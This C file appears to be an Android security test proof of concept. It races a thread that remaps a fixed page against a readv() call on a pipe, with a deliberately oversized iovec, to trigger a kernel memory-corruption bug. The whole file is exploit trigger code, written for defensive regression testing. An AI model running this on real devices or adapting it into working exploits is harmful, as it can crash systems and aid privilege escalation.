| /** |
| * Copyright (C) 2018 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| #define _GNU_SOURCE |
| #include <fcntl.h> |
| #include <pthread.h> |
| #include <stdio.h> |
| #include <stdlib.h> |
| #include <sys/mman.h> |
| #include <sys/types.h> |
| #include <sys/uio.h> |
| #include <sys/wait.h> |
| #include <unistd.h> |
| #include "../includes/common.h" |
| |
| #define BUFS 256 |
| #define IOV_LEN 16 |
| #define MAGIC 7 |
| |
| int fd[2]; |
| struct iovec *iovs = NULL; |
| |
| void *func_evil(void *data) { |
| munmap((void *)(0x45678000), PAGE_SIZE); |
| mmap((void *)(0x45678000), PAGE_SIZE, PROT_READ | PROT_WRITE, |
| MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); |
| return data; |
| } |
| |
| void *func_readv(void *data) { |
| readv(fd[0], iovs, BUFS); |
| return data; |
| } |
| |
| int main() { |
| int ret = -1, i; |
| void *bufs[BUFS]; |
| time_t test_started = start_timer(); |
| pthread_t thr_evil, thr_readv; |
| |
| if (pipe(fd) < 0) { |
| goto __out; |
| } |
| fcntl(fd[0], F_SETFL, O_NONBLOCK); |
| fcntl(fd[1], F_SETFL, O_NONBLOCK); |
| |
| iovs = (struct iovec *)malloc(sizeof(bufs) / sizeof(bufs[0]) * |
| sizeof(struct iovec)); |
| if (iovs == NULL) { |
| goto __close_pipe; |
| } |
| |
| bufs[MAGIC] = mmap((void *)(0x45678000), PAGE_SIZE, PROT_READ | PROT_WRITE, |
| MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); |
| if (bufs[MAGIC] == MAP_FAILED) { |
| goto __close_pipe; |
| } |
| |
| for (size_t i = 0; i < sizeof(bufs) / sizeof(bufs[0]); i++) { |
| if (i == MAGIC) continue; |
| bufs[i] = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, |
| MAP_SHARED | MAP_ANONYMOUS, -1, 0); |
| if (bufs[i] == MAP_FAILED) { |
| goto __free_bufs; |
| } |
| |
| iovs[i].iov_base = bufs[i]; |
| iovs[i].iov_len = IOV_LEN; |
| } |
| |
| iovs[MAGIC - 1].iov_len = IOV_LEN * 10; |
| iovs[MAGIC].iov_base = bufs[MAGIC]; |
| iovs[MAGIC].iov_len = IOV_LEN; |
| |
| i = 0; |
| |
| while (timer_active(test_started)) { |
| write(fd[1], bufs[0], PAGE_SIZE); |
| |
| pthread_create(&thr_evil, NULL, func_evil, NULL); |
| pthread_create(&thr_readv, NULL, func_readv, NULL); |
| |
| pthread_join(thr_evil, NULL); |
| pthread_join(thr_readv, NULL); |
| } |
| |
| __free_bufs: |
| for (size_t i = 0; i < sizeof(bufs) / sizeof(bufs[0]); i++) { |
| if (bufs[i]) munmap(bufs[i], PAGE_SIZE); |
| } |
| |
| __close_pipe: |
| close(fd[0]); |
| close(fd[1]); |
| |
| __out: |
| return ret; |
| |
| return 0; |
| } |